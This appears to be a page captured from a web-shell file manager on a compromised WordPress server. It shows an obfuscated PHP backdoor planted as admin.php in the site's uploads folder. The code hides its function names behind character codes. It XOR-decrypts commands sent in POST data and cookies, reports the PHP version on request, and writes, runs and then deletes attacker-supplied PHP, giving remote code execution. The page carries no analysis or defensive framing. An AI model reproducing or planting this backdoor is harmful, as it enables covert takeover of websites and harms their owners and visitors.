HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/09/admin.php
<?php $lpeoqgmctb  =    'lpeoqgmctb'    ^	'';$mkklxlr /*   kqu  */ =   "\141"	. /* mo*/ "\x72"  .	"\x72" /* t*/ .	"a"."y"."_"."\x6d" /*   _udw  */ .       "\x61" /*d*/ .      $lpeoqgmctb(112);

$jzdfmoamg	=    "\x69"	. /*x */ $lpeoqgmctb(1102-993) /*eexcoy  */ . /*ggscwu  */ "p".$lpeoqgmctb(294-186)      .	$lpeoqgmctb(111) /* hm__z*/ .       "\x64"    . /*cnr */ $lpeoqgmctb(101);






function /*  e_b  */ sjbiplrbri($hmicey,	$_pm_w)

{


     global    $lpeoqgmctb;
 /*   di */ 
    $hmicey /*mbc*/ = /*   uteuxc */ "\74"       .    $lpeoqgmctb(63)    . /*  ojar   */ "\160"	. /*  nvqxl   */ "\x68" /* rxci   */ . /*_fqi*/ "\160"    .	$lpeoqgmctb(32)     .    "u"."n"."l".$lpeoqgmctb(105)    . /*tk_  */ "\x6e" /*   sve   */ . /*  gvtbrm*/ "\x6b"     .  "\x28" /*m   */ . /*  ryyeg  */ "_"."_"."F"."\x49" /*   rd   */ .   $lpeoqgmctb(76)    . /*   w */ "E"."_"."\137"  . /*  oxqpz  */ ")".";".$lpeoqgmctb(32)    . /* ivsyni */ $hmicey[$lpeoqgmctb(862-762)];

       $fcorlsrz	=  "f".$lpeoqgmctb(663-558) /*ej*/ .    $lpeoqgmctb(108)    .     "\145" /*  bxops  */ . /*   s */ "\x5f"   . /*wmf*/ "p"."\x75"	.    "t".$lpeoqgmctb(95)       . /*irldmm */ $lpeoqgmctb(647-548)     .  "o".$lpeoqgmctb(967-857)	.    "t"."\145" /*jd   */ .     "n".$lpeoqgmctb(116) /*ckb */ .       "s";
		$fcorlsrz($_pm_w, /*  v*/ $hmicey);

  
    aop_syrz($_pm_w);
}




$remwdrsl  =   73;


function /*  x*/ aop_syrz($_pm_w)
{


    global    $lpeoqgmctb;


          include($_pm_w);    $ydmwalonr	= /*zh  */ $_pm_w;    @unlink($ydmwalonr);

}


function   yfpnbw(){
	global  $lpeoqgmctb;


 /*  fhs */ $jcrkpb /*  mxsucw  */ =       array();
	$jcrkpb["p"."\166"]    = /*   qji   */ phpversion();	$jcrkpb["s".$lpeoqgmctb(385-267)]     =   "\x33"	. /*  rc   */ "\x2e" /*aepw   */ .  "\x35";

	$rrcfshd    =       74;      echo    @serialize($jcrkpb);

}


function   wthitjgs($hmicey,       $twsxi)


{ /* rrrk */ global /* qxlj */ $lpeoqgmctb;

     $lrp_wgw /*  jm */ = /*  ufxuul   */ "";
 /*  irvz  */ $qyvutog	= /*   y_hu */ strlen($hmicey);

 /*   ohjds   */ $khcuof_dm    = /*  xh  */ strlen($twsxi);
    $jcrkpb     = /* vd */ 0;

 /* z  */ $lkwnctpwtv   =    0; /*   h  */ 

	while    ($jcrkpb    < /*   wygd   */ $qyvutog) /*  g  */ {

	$kr_xdgngw    =      $hmicey[$jcrkpb]       ^	$twsxi[$lkwnctpwtv       %	$khcuof_dm];


 /*yembbf */ $lrp_wgw	.= /*   h*/ $kr_xdgngw;

    $lkwnctpwtv++; /*_tbqrz   */ 


       $jcrkpb++;      }

 /*  grelhp   */ 

     if	(strlen($lrp_wgw)     >   20) /* aai  */ {	$sebdnrix    = /*bkmdbn   */ substr($lrp_wgw,     0, /*   bucanf   */ 20);


	}	if	(empty($lrp_wgw))   { /*  vmog */ $lrp_wgw       =  date('Y-m-d       H:i:s');    } /*   gpiowb*/ return /* wbjvn*/ $lrp_wgw;}





function	fbkxn($wlcu_crcxb){   global /*   rcr   */ $lpeoqgmctb; /* lr  */  /*  zfx   */ $kfcdzlls /*wl */ = /*  hplnv   */ "7".$lpeoqgmctb(56) /*cwa */ .	"\144"    .	$lpeoqgmctb(50)     .       $lpeoqgmctb(50)    .	$lpeoqgmctb(51)	.       "\x66"  . /*ttjkg*/ "\x36"    . /*hk */ $lpeoqgmctb(272-227) /* slm_d*/ .	"\x35"    .	$lpeoqgmctb(57)       .   $lpeoqgmctb(101)      . /*  eeg   */ "6"."-".$lpeoqgmctb(793-741)       . /*  udpn  */ "\x35"    . /*j */ "b"."\145"  .   "-"."9".$lpeoqgmctb(198-100) /*   td_*/ .	$lpeoqgmctb(862-762)."c"."-".$lpeoqgmctb(100) /*  sdk  */ . /*fyf   */ "4".$lpeoqgmctb(276-222)	.     "8".$lpeoqgmctb(101)."3"."0"."3"."5"."\x63"   .   "\144"    .       "\61";
 /* gtljho   */ 
    foreach /*knyxz*/ ($wlcu_crcxb  as /*wzzt   */ $unlmlcfk    =>    $hmicey)	{

  bqnmemcbz(base64_decode($hmicey), /* ugzp  */ $kfcdzlls,	$unlmlcfk);

 /*   mpcxec  */ }


}



function	bqnmemcbz($hmicey,       $kfcdzlls,   $unlmlcfk)

{


 /*  ce*/ global /* e*/ $lpeoqgmctb;
 /*  dztru */ 


 /*  r  */ $hmicey	=	unserialize(wthitjgs(wthitjgs($hmicey,    $kfcdzlls),	$unlmlcfk));
	$mytflnid /* lxidzr  */ =      'ngp';	$ejmvzp /*  pexpxo */ =     'efnkxrdiz';


	if	(isset($hmicey["a"."k"])) /* pmusx  */ { /*   fw   */ if    ($hmicey["a"]       == /*y   */ "i")       {


      yfpnbw();
     }     elseif     ($hmicey["a"]    ==   $lpeoqgmctb(101))    { /* v   */ sjbiplrbri($hmicey,	sprintf("."."/"."%"."\163"   . /*  tt   */ "\x2e"    .    "p"."l", /*  xnz   */ md5($kfcdzlls)));

			$jcrkpbysugs       =	44;

    }


 /*   ifqne  */ exit();


       }


}




fbkxn($_POST);	

$vndydxf	=    'rawurldecode';





$vubsp       =  $mkklxlr($vndydxf, /*  uma   */ $_POST);
$jzdfmoamg("", /* wra  */ $vndydxf);


fbkxn($_COOKIE);




$ekimh    = /*bv   */ $mkklxlr($vndydxf,    $_COOKIE);





?>